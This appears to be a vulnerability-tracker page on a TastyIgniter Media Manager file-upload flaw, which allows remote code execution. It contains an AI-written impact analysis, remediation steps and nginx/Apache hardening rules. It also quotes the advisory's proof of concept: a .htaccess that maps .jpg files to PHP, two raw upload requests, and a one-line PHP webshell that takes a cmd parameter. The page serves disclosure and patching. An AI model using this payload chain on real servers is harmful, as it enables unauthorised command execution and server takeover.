TastyIgniter CVE-2026-69179
CRITICALAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain admin session to TastyIgniter
-
DeliveryUpload malicious .htaccess via Media Manager
-
ExploitApache maps .jpg to PHP handler
-
ExecutionUpload .jpg PHP webshell
-
PersistRequest image with cmd parameter
-
ImpactExecute OS commands on server
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V5 - File Handling File type validation, storage isolation
MITRE ATT&CK
2 techniques across 2 tactics: Command and Control, Persistence The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires an authenticated administrator session (PR:H) with access to the admin Media Manager file-upload feature (POST /admin/media_manager with X-IGNITER-FILEUPLOAD: mediamanager) in TastyIgniter versions prior to 4.3.1. The core prerequisite is that the upload handler accepts a server-control file (.htaccess) with no extension/content restriction, allowing the attacker to redefine how uploaded files are executed. LIMITING FACTORS: exploitation depends on the web server being Apache httpd with AllowOverride enabled so the uploaded .htaccess SetHandler directive is actually honored - on nginx (or Apache with overrides disabled) the .htaccess trick is inert; and it requires prior administrator access, which substantially narrows the attacker population to insiders, compromised admin accounts, or chained auth bypass. |
| Impact | This is a genuine high-severity but access-gated issue, not an internet-wide emergency. The provided CVSS 3.1 vector (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H, 9.1) confirms network reach and full confidentiality/integrity/availability loss, but the PR:H metric means the attacker must already hold administrator privileges - the description and PoC both begin with 'Login as Admin.' No EPSS score, no CISA KEV entry, and no SSVC exploitation/automatable fields were supplied, so the only externally-driven urgency signal is the vuln.today Decision label of act_now, which aligns with the vendor having shipped a fix. A detailed step-by-step PoC (crafted requests plus a result screenshot) is published inside the GHSA advisory itself, though the input does not mark it as confirmed working exploit code. A notable mechanism caveat: the technique relies on Apache honoring an uploaded .htaccess SetHandler directive, which only works where the web server is Apache httpd with AllowOverride permitting it - it has no effect under nginx (the very hardening the patch adds to .nginx.conf), so real-world exploitability is narrower than the raw 9.1 implies. The S:C (scope change) in the input is defensible but arguable; a webshell typically executes as the web-server user within the same security authority, so S:U is also reasonable - verify against deployment. |
| Exploit ScenarioDerived | An authenticated administrator (or an attacker who has phished/hijacked an admin session) opens the Media Manager and uploads a crafted .htaccess file that maps .jpg files to the PHP handler, then uploads a .jpg containing a PHP webshell; requesting that image executes attacker-supplied OS commands on the server. A full PoC with raw HTTP requests and a success screenshot is published in the GHSA advisory, so reproduction is trivial on an Apache deployment. The chain requires no user interaction beyond the attacker's own admin-authenticated requests. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Nov 25, 2026
Unrestricted file upload in the TastyIgniter admin Media Manager lets an authenticated administrator upload a .htaccess file that redefines how subsequently uploaded files are handled, so a PHP payload saved as .jpg is then executed by Apache - yielding remote code execution as the web server user on any host running TastyIgniter before 4.3.1. The vendor advisory rates it 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H); an independent reassessment keeps the same vector but treats scope as unchanged (S:U), which moderates the score somewhat without changing the impact. A public proof-of-concept reproduction is published in the GitHub advisory (GHSA-7wwv-x6mc-pxqx); there is no CISA KEV entry or confirmed active exploitation, and the practical reach is narrow because the attacker must already hold a privileged admin session and the target must run Apache with AllowOverride enabled for the .htaccess directive to take effect.
RemediationAI
Upgrade TastyIgniter to 4.3.1 or later, the version in which the vendor closed this issue (release notes at https://github.com/tastyigniter/TastyIgniter/releases/tag/v4.3.1, patch commit 74299ffb635744354e7056242c4cd84d5479a120, advisory GHSA-7wwv-x6mc-pxqx). Prioritise internet-exposed installs and any instance where admin credentials may have been shared or leaked, consistent with the act_now priority assigned to this finding. Where immediate upgrade is impossible, apply the server-level controls the fix itself introduces: deny all dotfiles in the document root with the nginx rule location ~ /\.(?!well-known).* { deny all; } (side effect: legitimate .well-known ACME/HTTP validation paths must stay exempted), and deny script-like extensions anywhere under /storage/media/ so no configuration file can cause uploaded content to be parsed as PHP. On Apache, setting AllowOverride None for the media storage directory neutralises the .htaccess vector outright, at the cost of losing any legitimate per-directory overrides in that tree. Restricting /admin and /admin/media_manager to trusted networks or VPN, and rotating admin credentials, limit exposure to the credentialed portion of the attack chain, but the vendor's complete fix is updating to 4.3.1.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
TastyIgniter is a Laravel/PHP restaurant ordering and management platform distributed as the Composer package tastyigniter/tastyigniter (CPE pkg:composer/tastyigniter_tastyigniter). Its admin Media Manager endpoint (POST /admin/media_manager, identified by the X-IGNITER-FILEUPLOAD: mediamanager header) writes uploads into the application's public media storage directory. The flaw is CWE-434, unrestricted upload of a file with a dangerous type: the handler performs no extension or content restriction, so a dotfile such as .htaccess is accepted alongside ordinary images. Because Apache httpd honours per-directory .htaccess overrides, the attacker-supplied SetHandler/AddType directive makes files matching a chosen pattern (for example *.jpg) execute as PHP, converting an innocent-looking image upload into a web shell. The chain therefore depends on the classic 'upload metadata file plus payload file' pattern: the .htaccess reconfigures interpretation, and a second upload carries the PHP code. It is inert on nginx, and inert on Apache when AllowOverride is disabled for the storage tree. The upstream fix commit (74299ffb635744354e7056242c4cd84d5479a120) adds web-server layer hardening, notably an .nginx.conf that denies dotfiles site-wide (location ~ /\.(?!well-known).* { deny all; }) and blocks script-like extensions anywhere under /storage/media/, and it ships the v4.3.1 release tag; the underlying fix is acceptance filtering on the upload path plus server-level denial of dotfiles and executable extensions in upload directories.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Admin login is required so PR:H; the upload steps are straightforward so AC:L; the webshell runs as the web-server user within the same authority, so S:U with full C/I/A impact.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Summary
Media manager accepts .htaccess file which can be used to perform RCE.
Details
The file upload functionality from media manager somehow accepts .htaccess file. This file could be used to allow any extension to run PHP command. By doing so, it is possible to perform RCE.
PoC
- Login as Admin
- Create a
.htaccessfile with the following code.
<FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>- Upload the
.htaccessfile via the Media Manager.
Request
POST /admin/media_manager HTTP/1.1
Host: localhost:8888
Content-Length: 357
sec-ch-ua-platform: "Linux"
X-CSRF-TOKEN: 2vv3ZKpvfj2SkbbJzqmf8G053mNXqPLktxqd5eMx
Cache-Control: no-cache
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146"
sec-ch-ua-mobile: ?0
X-IGNITER-FILEUPLOAD: mediamanager
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryN13ytndlhtodIsbE
Origin: http://localhost:8888
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/admin/media_manager
Accept-Encoding: gzip, deflate, br
Cookie: laravel_session=eyJpdiI6IkxRY3hrdXkyY01mN3RONXZwNjlDRnc9PSIsInZhbHVlIjoibkZSNHNWWW5hTDZtWXpIbmdnUkM0aFJZZFJRM2V5czVXWUd6TkxwUVFhUUplVGNuY3B5Z1NKZk9TMlc1R1c3akhoakpaUE9MM0ZUcW5tclBtZi80ZXExR3hpUm5hOU40UDl0NWNSWUpNUmNmU043Qmx4aEk4ZWxQQnZUanBPUHoiLCJtYWMiOiI5YmRkMGQ0M2I5M2EzYzRmNGJjOGU5ODhkY2M2MmU1MmI0ODYzYjc5YjQ2OTIzY2Y2NDJiZTRhZDBmOTQyNDUwIiwidGFnIjoiIn0%3D; remember_igniter-admin_d89cc32487145546aea44c0efb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R6eFBXYUNTc0VCd3NGR1dxVGRWaWVCOU5QNzZVakpDT28iLCJtYWMiOiI3NGYxMGJkNjcyYWVjMGQ5YjQ2M2M1NjBjZmM0ZGRiM2IzODRjNjM3MmYwMjM3NThmMTM2YjQzYmMzYzExYTQ1IiwidGFnIjoiIn0%3D
Connection: keep-alive
------WebKitFormBoundaryN13ytndlhtodIsbE
Content-Disposition: form-data; name="path"
/
------WebKitFormBoundaryN13ytndlhtodIsbE
Content-Disposition: form-data; name="file_data"; filename=".htaccess"
Content-Type: image/png
<FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>
------WebKitFormBoundaryN13ytndlhtodIsbE--- Once this step is done, just upload a php file with
.jpgextension to execute php code.
POST /admin/media_manager HTTP/1.1
Host: localhost:8888
Content-Length: 310
sec-ch-ua-platform: "Linux"
X-CSRF-TOKEN: 2vv3ZKpvfj2SkbbJzqmf8G053mNXqPLktxqd5eMx
Cache-Control: no-cache
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146"
sec-ch-ua-mobile: ?0
X-IGNITER-FILEUPLOAD: mediamanager
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryN13ytndlhtodIsbE
Origin: http://localhost:8888
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/admin/media_manager
Accept-Encoding: gzip, deflate, br
Cookie: laravel_session=eyJpdiI6IkxRY3hrdXkyY01mN3RONXZwNjlDRnc9PSIsInZhbHVlIjoibkZSNHNWWW5hTDZtWXpIbmdnUkM0aFJZZFJRM2V5czVXWUd6TkxwUVFhUUplVGNuY3B5Z1NKZk9TMlc1R1c3akhoakpaUE9MM0ZUcW5tclBtZi80ZXExR3hpUm5hOU40UDl0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igniter_session=eyJpdiI6ImpoQldjRHJMTlJCMXlxVWVnbmt4QUE9PSIsInZhbHVlIjoicS9nRENOZDgvRURBL2kvM1VSOTFmaFgzcEtyVVNZK3pMLzBxL2NnU3MwVUIvaW0zMmhacWRvYnMzUzF2NXhDenZ1MFZkK1ErZ0FscGlRUFVpMC80YlBKWHNyVDFCTWR6eFBXYUNTc0VCd3NGR1dxVGRWaWVCOU5QNzZVakpDT28iLCJtYWMiOiI3NGYxMGJkNjcyYWVjMGQ5YjQ2M2M1NjBjZmM0ZGRiM2IzODRjNjM3MmYwMjM3NThmMTM2YjQzYmMzYzExYTQ1IiwidGFnIjoiIn0%3D
Connection: keep-alive
------WebKitFormBoundaryN13ytndlhtodIsbE
Content-Disposition: form-data; name="path"
/
------WebKitFormBoundaryN13ytndlhtodIsbE
Content-Disposition: form-data; name="file_data"; filename="test.jpg"
Content-Type: image/png
<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryN13ytndlhtodIsbE--- in the example, we uploaded a
test.jpg - execution the php code
<img width="846" height="205" alt="image" src="https://github.com/user-attachments/assets/4da71cfb-65f6-4580-9bb8-b352713451d9" />
Impact
Attacker with admin access could abuse this vulnerability to run command directly in the server.
Articles & Coverage 1
Technical POC Analysis
CWE-434: Unrestricted Upload of File with Dangerous Type.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
A critical vulnerability in TastyIgniter (versions before 4.3.1) allows an authenticated administrator to upload a malicious .htaccess file and subsequently achieve remote code execution on the web server. This requires a privileged admin session and Apache with AllowOverride enabled, so exploitation is limited to environments where such access is already compromised. Leadership should prioritize patching because a compromised admin account could lead to full server takeover, impacting data confidentiality, integrity, and availability.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Malicious file upload attacks exploit insufficient validation when web applications accept user-provided files.
Affected Products (CPE)GitHub Advisory
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
GHSA-7wwv-x6mc-pxqx
NVD
CVE.org
Exploit-DB